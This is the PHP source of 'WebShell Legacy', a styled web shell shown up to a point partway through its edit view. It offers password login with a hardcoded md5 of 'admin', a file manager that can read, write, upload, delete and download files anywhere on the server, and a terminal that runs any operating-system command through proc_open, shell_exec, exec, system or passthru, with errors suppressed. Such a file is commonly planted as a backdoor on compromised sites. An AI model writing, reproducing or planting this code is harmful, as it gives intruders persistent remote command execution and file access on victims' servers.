<?php

/**
 * WebShell Legacy - PHP 5.3+ Compatible
 * Version: 1.0
 * Features: File Manager, Terminal, System Info, PHP Info
 * Style: NeoBrutalism
 */

session_start();
error_reporting(0);
@ini_set('display_errors', 0);

// ============================================================================
// CONFIGURATION
// ============================================================================

$CONFIG = array(
    'password' => '21232f297a57a5a743894a0e4a801fc3', // md5('admin')
    'blocked_exts' => array('exe', 'dll', 'bat', 'cmd', 'com', 'scr'),
    'max_upload' => 10485760, // 10MB
    'root_dir' => realpath(getcwd()) ? realpath(getcwd()) : getcwd()
);

// ============================================================================
// UTILITY FUNCTIONS
// ============================================================================

function formatBytes($size)
{
    if ($size < 0 || $size === false) return 'N/A';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $i = 0;
    while ($size >= 1024 && $i < count($units) - 1) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . ' ' . $units[$i];
}

function getPerms($file)
{
    if (!file_exists($file)) return '---------';
    $perms = fileperms($file);
    $r = '';
    $r .= ($perms & 00400) ? 'r' : '-';
    $r .= ($perms & 00200) ? 'w' : '-';
    $r .= ($perms & 00100) ? (($perms & 04000) ? 's' : 'x') : (($perms & 04000) ? 'S' : '-');
    $r .= ($perms & 00040) ? 'r' : '-';
    $r .= ($perms & 00020) ? 'w' : '-';
    $r .= ($perms & 00010) ? (($perms & 02000) ? 's' : 'x') : (($perms & 02000) ? 'S' : '-');
    $r .= ($perms & 00004) ? 'r' : '-';
    $r .= ($perms & 00002) ? 'w' : '-';
    $r .= ($perms & 00001) ? (($perms & 01000) ? 't' : 'x') : (($perms & 01000) ? 'T' : '-');
    return $r;
}

function executeCmd($cmd)
{
    $cmd = trim($cmd);
    if (empty($cmd)) return '';
    $output = '';
    if (function_exists('proc_open')) {
        $descriptors = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
        $process = @proc_open($cmd, $descriptors, $pipes);
        if (is_resource($process)) {
            fwrite($pipes[0], "\n");
            fclose($pipes[0]);
            $output = stream_get_contents($pipes[1]);
            $errors = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            if ($errors) $output .= "\n" . $errors;
        }
    } elseif (function_exists('shell_exec')) {
        $output = @shell_exec($cmd . ' 2>&1');
    } elseif (function_exists('exec')) {
        $out = array();
        @exec($cmd . ' 2>&1', $out, $ret);
        $output = implode("\n", $out);
    } elseif (function_exists('system')) {
        ob_start();
        @system($cmd . ' 2>&1');
        $output = ob_get_clean();
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($cmd . ' 2>&1');
        $output = ob_get_clean();
    }
    return $output ? $output : '[No output]';
}

// ============================================================================
// AUTHENTICATION
// ============================================================================

if (!isset($_SESSION['ws_auth'])) {
    $_SESSION['ws_auth'] = false;
}

if (isset($_POST['login'])) {
    if (md5($_POST['password']) === $CONFIG['password']) {
        $_SESSION['ws_auth'] = true;
        session_regenerate_id(true);
    }
}

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// ============================================================================
// DOWNLOAD HANDLER
// ============================================================================

if (isset($_GET['download']) && $_SESSION['ws_auth']) {
    $file = basename($_GET['download']);
    $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
    $current_dir = realpath($current_dir);
    if (!$current_dir) $current_dir = getcwd();
    $filepath = $current_dir . '/' . $file;

    if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . $file . '"');
        header('Content-Length: ' . filesize($filepath));
        header('Cache-Control: no-cache, must-revalidate');
        readfile($filepath);
        exit;
    }
    http_response_code(404);
    exit('File not found');
}

// ============================================================================
// MAIN LOGIC
// ============================================================================

$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = realpath($current_dir);
if (!$current_dir) $current_dir = getcwd();

$action = isset($_GET['action']) ? $_GET['action'] : 'files';
$msg = '';
$error = '';

if ($_SERVER['REQUEST_METHOD'] == 'POST' && $_SESSION['ws_auth']) {
    if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
        $name = basename($_FILES['upload']['name']);
        $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
        if (in_array($ext, $CONFIG['blocked_exts'])) {
            $error = 'File type not allowed';
        } elseif ($_FILES['upload']['size'] > $CONFIG['max_upload']) {
            $error = 'File too large (max ' . formatBytes($CONFIG['max_upload']) . ')';
        } else {
            $target = $current_dir . '/' . $name;
            if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
                $msg = 'File uploaded: ' . htmlspecialchars($name);
            } else {
                $error = 'Upload failed (permission denied)';
            }
        }
    } elseif (isset($_POST['save_file'])) {
        $file = $_POST['file_path'];
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        if (file_put_contents($file, $content) !== false) {
            $msg = 'File saved successfully';
        } else {
            $error = 'Save failed';
        }
    } elseif (isset($_POST['delete'])) {
        $file = $_POST['file'];
        if (is_dir($file)) {
            if (@rmdir($file)) {
                $msg = 'Directory deleted';
            } else {
                $error = 'Directory not empty or permission denied';
            }
        } else {
            if (@unlink($file)) {
                $msg = 'File deleted';
            } else {
                $error = 'Failed to delete file';
            }
        }
    } elseif (isset($_POST['mkdir'])) {
        $newdir = $current_dir . '/' . $_POST['dirname'];
        if (@mkdir($newdir, 0755, true)) {
            $msg = 'Directory created';
        } else {
            $error = 'Failed to create directory';
        }
    } elseif (isset($_POST['rename'])) {
        $old = $current_dir . '/' . $_POST['oldname'];
        $new = $current_dir . '/' . $_POST['newname'];
        if (file_exists($old)) {
            if (!file_exists($new)) {
                if (@rename($old, $new)) {
                    $msg = 'Renamed to: ' . htmlspecialchars($_POST['newname']);
                } else {
                    $error = 'Failed to rename';
                }
            } else {
                $error = 'Destination already exists';
            }
        } else {
            $error = 'Source not found';
        }
    } elseif (isset($_POST['create_file'])) {
        $newfile = $current_dir . '/' . $_POST['filename'];
        if (!file_exists($newfile)) {
            if (@file_put_contents($newfile, '') !== false) {
                $msg = 'File created: ' . htmlspecialchars($_POST['filename']);
            } else {
                $error = 'Failed to create file';
            }
        } else {
            $error = 'File already exists';
        }
    } elseif (isset($_POST['cmd'])) {
        $cmd_output = executeCmd($_POST['cmd']);
    }
}

$hostname = function_exists('gethostname') ? gethostname() : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$php_version = PHP_VERSION;
$server_soft = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown';
$current_user = 'unknown';
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
    $pw = @posix_getpwuid(@posix_geteuid());
    if ($pw && isset($pw['name'])) {
        $current_user = $pw['name'];
    }
}

// ============================================================================
// LOGIN PAGE
// ============================================================================

if (!$_SESSION['ws_auth']) {
?>
    <!DOCTYPE html>
    <html lang="en">

    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>WebShell Legacy - Login</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
        <style>
            @import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@400;500;600;700&display=swap');

            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
            }

            body {
                font-family: 'Space Grotesk', sans-serif;
                background: #f0f0f0;
                min-height: 100vh;
                display: flex;
                align-items: center;
                justify-content: center;
                padding: 20px;
            }

            .login-box {
                background: #fff;
                border: 4px solid #000;
                box-shadow: 8px 8px 0 0 #000;
                padding: 48px;
                width: 100%;
                max-width: 400px;
            }

            h1 {
                font-size: 32px;
                font-weight: 700;
                margin-bottom: 8px;
                text-transform: uppercase;
                letter-spacing: -1px;
            }

            .subtitle {
                color: #666;
                font-size: 14px;
                margin-bottom: 32px;
            }

            input[type="password"] {
                width: 100%;
                padding: 16px;
                border: 3px solid #000;
                font-size: 16px;
                font-family: inherit;
                margin-bottom: 16px;
                outline: none;
            }

            input[type="password"]:focus {
                box-shadow: 4px 4px 0 0 #000;
                transform: translate(-2px, -2px);
            }

            button {
                width: 100%;
                padding: 16px;
                background: #3b82f6;
                color: white;
                border: 3px solid #000;
                font-size: 16px;
                font-weight: 700;
                text-transform: uppercase;
                cursor: pointer;
                box-shadow: 4px 4px 0 0 #000;
                transition: all 0.1s;
                font-family: inherit;
            }

            button:hover {
                transform: translate(2px, 2px);
                box-shadow: 2px 2px 0 0 #000;
            }

            button:active {
                transform: translate(4px, 4px);
                box-shadow: 0 0 0 0 #000;
            }

            .badge {
                display: inline-block;
                background: #fbbf24;
                color: #000;
                padding: 4px 12px;
                font-size: 12px;
                font-weight: 700;
                text-transform: uppercase;
                border: 2px solid #000;
                margin-bottom: 20px;
            }
        </style>
    </head>

    <body>
        <div class="login-box">
            <span class="badge"><i class="fas fa-code-branch"></i> PHP 5.3+</span>
            <h1>WebShell</h1>
            <p class="subtitle">Legacy Edition</p>
            <form method="post">
                <input type="password" name="password" placeholder="Password" required autofocus>
                <button type="submit" name="login"><i class="fas fa-sign-in-alt"></i> Login</button>
            </form>
        </div>
    </body>

    </html>
<?php
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WebShell Legacy</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap');

        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
        }

        body {
            font-family: 'Space Grotesk', sans-serif;
            background: #f0f0f0;
            min-height: 100vh;
        }

        .mono {
            font-family: 'JetBrains Mono', monospace;
        }

        .layout {
            display: flex;
            height: 100vh;
        }

        /* Sidebar */
        .sidebar {
            width: 260px;
            background: #fff;
            border-right: 4px solid #000;
            display: flex;
            flex-direction: column;
            flex-shrink: 0;
        }

        .sidebar-header {
            padding: 24px;
            border-bottom: 4px solid #000;
        }

        .sidebar-header h1 {
            font-size: 24px;
            font-weight: 700;
            letter-spacing: -0.5px;
        }

        .sidebar-header p {
            font-size: 11px;
            font-weight: 700;
            color: #666;
            text-transform: uppercase;
            letter-spacing: 1px;
            margin-top: 4px;
        }

        .sidebar-nav {
            flex: 1;
            padding: 16px 0;
            overflow-y: auto;
        }

        .nav-item {
            display: flex;
            align-items: center;
            padding: 14px 24px;
            color: #666;
            text-decoration: none;
            font-weight: 600;
            font-size: 14px;
            border-left: 4px solid transparent;
            transition: all 0.2s;
        }

        .nav-item:hover {
            background: #fef3c7;
            border-left-color: #fbbf24;
            padding-left: 28px;
        }

        .nav-item.active {
            background: #dbeafe;
            border-left-color: #3b82f6;
            color: #1f2937;
        }

        .nav-item i {
            width: 28px;
            font-size: 18px;
        }

        .sidebar-footer {
            padding: 16px;
            border-top: 4px solid #000;
        }

        .info-box {
            background: #fff;
            border: 2px solid #000;
            box-shadow: 3px 3px 0 0 #000;
            padding: 10px 12px;
            margin-bottom: 10px;
        }

        .info-box label {
            font-size: 10px;
            font-weight: 700;
            color: #666;
            text-transform: uppercase;
            display: block;
            margin-bottom: 2px;
        }

        .info-box span {
            font-weight: 700;
            font-size: 13px;
        }

        .btn-logout {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            width: 100%;
            padding: 10px;
            background: #ef4444;
            color: #fff;
            border: 2px solid #000;
            box-shadow: 3px 3px 0 0 #000;
            font-weight: 700;
            font-size: 12px;
            text-transform: uppercase;
            cursor: pointer;
            transition: all 0.1s;
            text-decoration: none;
        }

        .btn-logout:hover {
            transform: translate(2px, 2px);
            box-shadow: 1px 1px 0 0 #000;
        }

        /* Main Content */
        .main {
            flex: 1;
            overflow-y: auto;
            background: #f5f5f5;
        }

        .main-inner {
            max-width: 1200px;
            margin: 0 auto;
            padding: 24px;
        }

        /* Components */
        .neo-box {
            background: #fff;
            border: 3px solid #000;
            box-shadow: 6px 6px 0 0 #000;
            margin-bottom: 24px;
        }

        .neo-box-sm {
            background: #fff;
            border: 2px solid #000;
            box-shadow: 4px 4px 0 0 #000;
        }

        .header-bar {
            background: #fff;
            border: 3px solid #000;
            box-shadow: 6px 6px 0 0 #000;
            padding: 16px 20px;
            margin-bottom: 24px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 12px;
        }

        .badge {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            padding: 4px 10px;
            border: 2px solid #000;
            font-weight: 700;
            font-size: 11px;
            text-transform: uppercase;
        }

        .bg-yellow {
            background: #fbbf24;
        }

        .bg-blue {
            background: #3b82f6;
            color: #fff;
        }

        .bg-green {
            background: #22c55e;
        }

        .bg-red {
            background: #ef4444;
            color: #fff;
        }

        .bg-purple {
            background: #a855f7;
            color: #fff;
        }

        .bg-gray {
            background: #e5e7eb;
        }

        .bg-orange {
            background: #f97316;
            color: #fff;
        }

        .path-box {
            background: #f3f4f6;
            border: 2px solid #000;
            padding: 8px 14px;
            font-family: 'JetBrains Mono', monospace;
            font-size: 12px;
            font-weight: 600;
            max-width: 400px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }

        .neo-btn {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            padding: 10px 16px;
            border: 2px solid #000;
            box-shadow: 3px 3px 0 0 #000;
            font-weight: 700;
            font-size: 12px;
            text-transform: uppercase;
            cursor: pointer;
            transition: all 0.1s;
            text-decoration: none;
            background: #fff;
            color: #000;
            font-family: inherit;
        }

        .neo-btn:hover {
            transform: translate(2px, 2px);
            box-shadow: 1px 1px 0 0 #000;
        }

        .neo-btn-primary {
            background: #3b82f6;
            color: #fff;
        }

        .neo-btn-success {
            background: #22c55e;
        }

        .neo-btn-warning {
            background: #fbbf24;
        }

        .neo-btn-danger {
            background: #ef4444;
            color: #fff;
        }

        .neo-btn-dark {
            background: #1f2937;
            color: #fff;
        }

        .neo-btn-purple {
            background: #a855f7;
            color: #fff;
        }

        .neo-btn-orange {
            background: #f97316;
            color: #fff;
        }

        .neo-btn-sm {
            padding: 6px 10px;
            font-size: 11px;
        }

        /* Breadcrumb */
        .breadcrumb {
            background: #fef3c7;
            border: 2px solid #000;
            box-shadow: 4px 4px 0 0 #000;
            margin-bottom: 20px;
            padding: 12px 16px;
            display: flex;
            align-items: center;
            gap: 8px;
            flex-wrap: wrap;
        }

        .breadcrumb i {
            color: #fbbf24;
            font-size: 16px;
        }

        .breadcrumb a {
            color: #3b82f6;
            font-weight: 700;
            text-decoration: none;
            font-size: 13px;
        }

        .breadcrumb a:hover {
            text-decoration: underline;
        }

        .breadcrumb span {
            font-weight: 700;
            font-size: 13px;
        }

        /* Table */
        .file-table {
            width: 100%;
            border-collapse: separate;
            border-spacing: 0;
        }

        .file-table th,
        .file-table td {
            border: 2px solid #000;
            padding: 12px 14px;
            text-align: left;
        }

        .file-table th {
            background: #1f2937;
            color: #fff;
            font-weight: 700;
            text-transform: uppercase;
            font-size: 11px;
            letter-spacing: 0.5px;
        }

        .file-table tr:hover td {
            background: #fef3c7;
        }

        .file-table td {
            background: #fff;
            font-size: 13px;
        }

        /* Inputs */
        .neo-input {
            padding: 10px 14px;
            border: 2px solid #000;
            font-family: inherit;
            font-size: 13px;
            outline: none;
            transition: all 0.2s;
        }

        .neo-input:focus {
            box-shadow: 3px 3px 0 0 #000;
            transform: translate(-2px, -2px);
        }

        textarea {
            width: 100%;
            min-height: 400px;
            resize: vertical;
            font-family: 'JetBrains Mono', monospace;
            font-size: 13px;
            line-height: 1.5;
            padding: 16px;
            border: 2px solid #000;
            outline: none;
        }

        /* Terminal */
        .terminal-box {
            background: #020617;
            border: 3px solid #000;
            box-shadow: 6px 6px 0 0 #22c55e;
        }

        .terminal-header {
            background: #22c55e;
            border-bottom: 3px solid #000;
            padding: 12px 16px;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .terminal-title {
            font-weight: 700;
            font-size: 14px;
            color: #000;
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .terminal-body {
            padding: 16px;
            color: #4ade80;
            font-family: 'JetBrains Mono', monospace;
            font-size: 13px;
            min-height: 300px;
            max-height: 500px;
            overflow: auto;
            white-space: pre-wrap;
        }

        .terminal-input-line {
            display: flex;
            align-items: center;
            padding: 12px 16px;
            border-top: 2px solid #333;
            background: #0f172a;
        }

        .terminal-prompt {
            color: #22c55e;
            font-weight: 700;
            margin-right: 10px;
            font-size: 13px;
        }

        .terminal-input {
            flex: 1;
            background: transparent;
            border: none;
            color: #fff;
            font-family: 'JetBrains Mono', monospace;
            font-size: 13px;
            outline: none;
        }

        /* Messages */
        .msg {
            background: #dcfce7;
            border: 2px solid #000;
            box-shadow: 4px 4px 0 0 #000;
            padding: 14px 18px;
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 12px;
            font-weight: 600;
            font-size: 14px;
        }

        .msg.error {
            background: #fee2e2;
        }

        .msg i {
            font-size: 18px;
        }

        /* Info Grid */
        .info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
            gap: 20px;
        }

        .info-card {
            background: #fff;
            border: 3px solid #000;
            box-shadow: 5px 5px 0 0 #000;
            padding: 20px;
        }

        .info-card-header {
            display: flex;
            align-items: center;
            margin-bottom: 16px;
            padding-bottom: 12px;
            border-bottom: 2px solid #000;
        }

        .info-icon {
            width: 44px;
            height: 44px;
            border: 2px solid #000;
            box-shadow: 3px 3px 0 0 #000;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-right: 12px;
        }

        .info-icon.blue {
            background: #3b82f6;
            color: #fff;
        }

        .info-icon.green {
            background: #22c55e;
            color: #000;
        }

        .info-icon.purple {
            background: #a855f7;
            color: #fff;
        }

        .info-icon.yellow {
            background: #fbbf24;
            color: #000;
        }

        .info-icon.red {
            background: #ef4444;
            color: #fff;
        }

        .info-card h3 {
            font-size: 16px;
            font-weight: 700;
        }

        .info-row {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 10px 0;
            border-bottom: 1px solid #e5e7eb;
        }

        .info-row:last-child {
            border-bottom: none;
        }

        .info-row label {
            font-size: 12px;
            font-weight: 600;
            color: #666;
        }

        .info-row span {
            font-weight: 700;
            font-size: 13px;
        }

        /* Modal */
        .modal-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
            z-index: 1000;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }

        .modal-overlay.active {
            display: flex;
        }

        .modal {
            background: #fff;
            border: 3px solid #000;
            box-shadow: 10px 10px 0 0 #000;
            padding: 24px;
            width: 100%;
            max-width: 400px;
        }

        .modal-header {
            display: flex;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 14px;
            border-bottom: 2px solid #000;
        }

        .modal-icon {
            width: 40px;
            height: 40px;
            border: 2px solid #000;
            box-shadow: 3px 3px 0 0 #000;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-right: 12px;
        }

        .modal h3 {
            font-size: 16px;
            font-weight: 700;
        }

        .modal-footer {
            display: flex;
            gap: 10px;
            margin-top: 20px;
        }

        .modal-footer .neo-btn {
            flex: 1;
        }

        /* Responsive */
        @media (max-width: 768px) {
            .layout {
                flex-direction: column;
            }

            .sidebar {
                width: 100%;
                border-right: none;
                border-bottom: 4px solid #000;
            }

            .main-inner {
                padding: 16px;
            }

            .header-bar {
                flex-direction: column;
                align-items: flex-start;
            }

            .path-box {
                max-width: 100%;
                width: 100%;
            }
        }

        ::-webkit-scrollbar {
            width: 10px;
            height: 10px;
        }

        ::-webkit-scrollbar-track {
            background: #e5e7eb;
            border-left: 2px solid #000;
        }

        ::-webkit-scrollbar-thumb {
            background: #3b82f6;
            border: 2px solid #000;
        }
    </style>
</head>

<body>
    <div class="layout">
        <!-- Sidebar -->
        <aside class="sidebar">
            <div class="sidebar-header">
                <h1>WebShell</h1>
                <p>Legacy Edition</p>
            </div>

            <nav class="sidebar-nav">
                <a href="?action=files" class="nav-item <?php echo $action == 'files' ? 'active' : ''; ?>">
                    <i class="fas fa-folder-open"></i>
                    <span>Files</span>
                </a>
                <a href="?action=terminal" class="nav-item <?php echo $action == 'terminal' ? 'active' : ''; ?>">
                    <i class="fas fa-terminal"></i>
                    <span>Terminal</span>
                </a>
                <a href="?action=sysinfo" class="nav-item <?php echo $action == 'sysinfo' ? 'active' : ''; ?>">
                    <i class="fas fa-chart-bar"></i>
                    <span>System</span>
                </a>
                <a href="?action=phpinfo" class="nav-item <?php echo $action == 'phpinfo' ? 'active' : ''; ?>">
                    <i class="fab fa-php"></i>
                    <span>PHP Info</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <div class="info-box">
                    <label>User</label>
                    <span><?php echo htmlspecialchars($current_user); ?></span>
                </div>
                <div class="info-box">
                    <label>Host</label>
                    <span><?php echo htmlspecialchars($hostname); ?></span>
                </div>
                <a href="?logout=1" class="btn-logout">
                    <i class="fas fa-sign-out-alt"></i> Logout
                </a>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="main">
            <div class="main-inner">
                <!-- Header -->
                <div class="header-bar">
                    <div style="display: flex; gap: 8px; flex-wrap: wrap;">
                        <span class="badge bg-yellow"><i class="fas fa-server"></i> <?php echo htmlspecialchars($hostname); ?></span>
                        <span class="badge bg-blue"><i class="fab fa-php"></i> <?php echo $php_version; ?></span>
                        <span class="badge bg-green"><i class="fas fa-circle" style="font-size: 6px;"></i> ONLINE</span>
                    </div>
                    <div class="path-box mono"><?php echo htmlspecialchars($current_dir); ?></div>
                </div>

                <!-- Messages -->
                <?php if ($msg): ?>
                    <div class="msg">
                        <i class="fas fa-check-circle" style="color: #22c55e;"></i>
                        <?php echo htmlspecialchars($msg); ?>
                    </div>
                <?php endif; ?>

                <?php if ($error): ?>
                    <div class="msg error">
                        <i class="fas fa-exclamation-circle" style="color: #ef4444;"></i>
                        <?php echo htmlspecialchars($error); ?>
                    </div>
                <?php endif; ?>

                <?php
                // ===========================================
                // FILES TAB
                // ===========================================
                if ($action == 'files'):
                    $path_parts = explode('/', trim($current_dir, '/'));
                    $path_acc = '';
                ?>
                    <!-- Breadcrumb -->
                    <div class="breadcrumb">
                        <i class="fas fa-folder-open"></i>
                        <?php foreach ($path_parts as $i => $part): ?>
                            <?php if (empty($part)) continue; ?>
                            <?php $path_acc .= '/' . $part; ?>
                            <?php if ($i > 0): ?><span>/</span><?php endif; ?>
                            <a href="?action=files&dir=<?php echo urlencode($path_acc); ?>"><?php echo htmlspecialchars($part); ?></a>
                        <?php endforeach; ?>
                    </div>

                    <!-- Actions -->
                    <div style="display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap;">
                        <button onclick="openModal('upload-modal')" class="neo-btn neo-btn-primary">
                            <i class="fas fa-cloud-upload-alt"></i> Upload
                        </button>
                        <button onclick="openModal('mkdir-modal')" class="neo-btn neo-btn-warning">
                            <i class="fas fa-folder-plus"></i> New Folder
                        </button>
                        <button onclick="openModal('touch-modal')" class="neo-btn neo-btn-success">
                            <i class="fas fa-file-plus"></i> New File
                        </button>
                    </div>

                    <!-- File List -->
                    <div class="neo-box" style="padding: 0; overflow: hidden;">
                        <table class="file-table">
                            <thead>
                                <tr>
                                    <th>Name</th>
                                    <th style="width: 100px;">Size</th>
                                    <th style="width: 125px;">Perm</th>
                                    <th style="width: 125px;">Modified</th>
                                    <th style="width: 200px;">Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php
                                $items = @scandir($current_dir);
                                if ($items === false) $items = array();

                                $dirs = array();
                                $files = array();
                                foreach ($items as $item) {
                                    if ($item == '.') continue;
                                    $path = $current_dir . '/' . $item;
                                    if (is_dir($path)) {
                                        $dirs[] = $item;
                                    } else {
                                        $files[] = $item;
                                    }
                                }
                                sort($dirs);
                                sort($files);
                                $all_items = array_merge($dirs, $files);

                                foreach ($all_items as $item):
                                    $filepath = $current_dir . '/' . $item;
                                    $is_dir = is_dir($filepath);
                                    $size = $is_dir ? '-' : formatBytes(filesize($filepath));
                                    $mod = date('M j, H:i', filemtime($filepath));
                                    $perms = getPerms($filepath);
                                    $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));

                                    $icon_class = 'fa-file';
                                    $icon_color = 'text-gray-600';
                                    if ($is_dir) {
                                        $icon_class = 'fa-folder';
                                        $icon_color = 'text-yellow-600';
                                    } elseif (in_array($ext, array('php', 'phtml'))) {
                                        $icon_class = 'fa-file-code';
                                        $icon_color = 'text-purple-600';
                                    } elseif (in_array($ext, array('html', 'htm'))) {
                                        $icon_class = 'fa-html5';
                                        $icon_color = 'text-orange-600';
                                    } elseif (in_array($ext, array('css'))) {
                                        $icon_class = 'fa-css3';
                                        $icon_color = 'text-blue-600';
                                    } elseif (in_array($ext, array('js'))) {
                                        $icon_class = 'fa-js';
                                        $icon_color = 'text-yellow-600';
                                    } elseif (in_array($ext, array('txt', 'md'))) {
                                        $icon_class = 'fa-file-alt';
                                    } elseif (in_array($ext, array('jpg', 'jpeg', 'png', 'gif', 'svg', 'webp'))) {
                                        $icon_class = 'fa-image';
                                        $icon_color = 'text-green-600';
                                    } elseif (in_array($ext, array('zip', 'tar', 'gz', 'rar', '7z'))) {
                                        $icon_class = 'fa-file-archive';
                                        $icon_color = 'text-red-600';
                                    } elseif (in_array($ext, array('pdf'))) {
                                        $icon_class = 'fa-file-pdf';
                                        $icon_color = 'text-red-700';
                                    }
                                ?>
                                    <tr>
                                        <td>
                                            <?php if ($is_dir): ?>
                                                <a href="?action=files&dir=<?php echo urlencode($filepath); ?>" style="text-decoration: none; color: #000; font-weight: 700;">
                                                    <i class="fas <?php echo $icon_class; ?>" style="margin-right: 10px; color: <?php echo str_replace('text-', '', $icon_color); ?>;"></i>
                                                    <?php echo htmlspecialchars($item); ?>
                                                </a>
                                            <?php else: ?>
                                                <span style="font-weight: 700;">
                                                    <i class="fas <?php echo $icon_class; ?>" style="margin-right: 10px; color: <?php echo str_replace('text-', '', $icon_color); ?>;"></i>
                                                    <?php echo htmlspecialchars($item); ?>
                                                </span>
                                            <?php endif; ?>
                                        </td>
                                        <td class="mono" style="text-align: right;"><?php echo $size; ?></td>
                                        <td><span class="badge bg-gray mono" style="font-size: 10px; padding: 2px 6px;"><?php echo $perms; ?></span></td>
                                        <td style="color: #666; font-size: 12px;"><?php echo $mod; ?></td>
                                        <td>
                                            <div style="display: flex; gap: 4px;">
                                                <?php if ($item != '..' && !$is_dir): ?>
                                                    <a href="?action=edit&file=<?php echo urlencode($filepath); ?>&dir=<?php echo urlencode($current_dir); ?>" class="neo-btn neo-btn-sm" style="background: #dbeafe; color: #1e40af;" title="Edit">
                                                        <i class="fas fa-edit"></i>
                                                    </a>
                                                    <a href="?action=view&file=<?php echo urlencode($filepath); ?>&dir=<?php echo urlencode($current_dir); ?>" class="neo-btn neo-btn-sm" style="background: #dcfce7; color: #166534;" title="View">
                                                        <i class="fas fa-eye"></i>
                                                    </a>
                                                    <a href="?download=<?php echo urlencode($item); ?>&dir=<?php echo urlencode($current_dir); ?>" class="neo-btn neo-btn-sm" style="background: #3b82f6; color: #fff;" title="Download">
                                                        <i class="fas fa-download"></i>
                                                    </a>
                                                <?php endif; ?>
                                                <?php if ($item != '..' && $item != '.'): ?>
                                                    <button onclick="renameFile('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>')" class="neo-btn neo-btn-sm neo-btn-warning" title="Rename">
                                                        <i class="fas fa-pen"></i>
                                                    </button>
                                                    <form method="post" style="display: inline;" onsubmit="return confirm('Delete <?php echo htmlspecialchars($item); ?>?');">
                                                        <input type="hidden" name="file" value="<?php echo htmlspecialchars($filepath); ?>">
                                                        <button type="submit" name="delete" class="neo-btn neo-btn-sm neo-btn-danger" title="Delete">
                                                            <i class="fas fa-trash"></i>
                                                        </button>
                                                    </form>
                                                <?php endif; ?>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>

                                <?php if (empty($all_items)): ?>
                                    <tr>
                                        <td colspan="5" style="text-align: center; padding: 40px;">
                                            <i class="fas fa-folder-open" style="font-size: 48px; color: #ddd; margin-bottom: 15px; display: block;"></i>
                                            <p style="font-weight: 600; color: #666;">Directory is empty</p>
                                        </td>
                                    </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>

                <?php
                // ===========================================
                // EDIT TAB
                // ===========================================
                elseif ($action == 'edit' && isset($_GET['file'])):
                    $file = $_GET['file'];
                    $content = file_exists($file) ? file_get_contents($file) : '';
                    $dir = isset($_GET['dir']) ? $_GET['dir'] : dirname($file);
                ?>
                    <div class="neo-box" style="padding: 0; overflow: hidden;">
                        <div style="background: #3b82f6; border-bottom: 3px solid #000; padding: 14px 18px; display: flex; align-items: center; justify-content: space-between;">
                            <div style="display: flex; align-items: center; gap: 10px; color: #fff;">
                                <i class="fas fa-file-code"></i>
                                <span style="font-weight: 700;"><?php echo htmlspecialchars(basename($file)); ?></span>
                            </div>
                            <a href="?action=files&dir=<?php echo urlencode($dir); ?>" class="neo-btn neo-btn-sm" style="background: #fff; color: #000;">
                                <i class="fas fa-times"></i>
                            </a>
                        </div>
                        <form method="post" style="margin: 0;">
                            <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($file); ?>">
                            <textarea name="content" spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea>
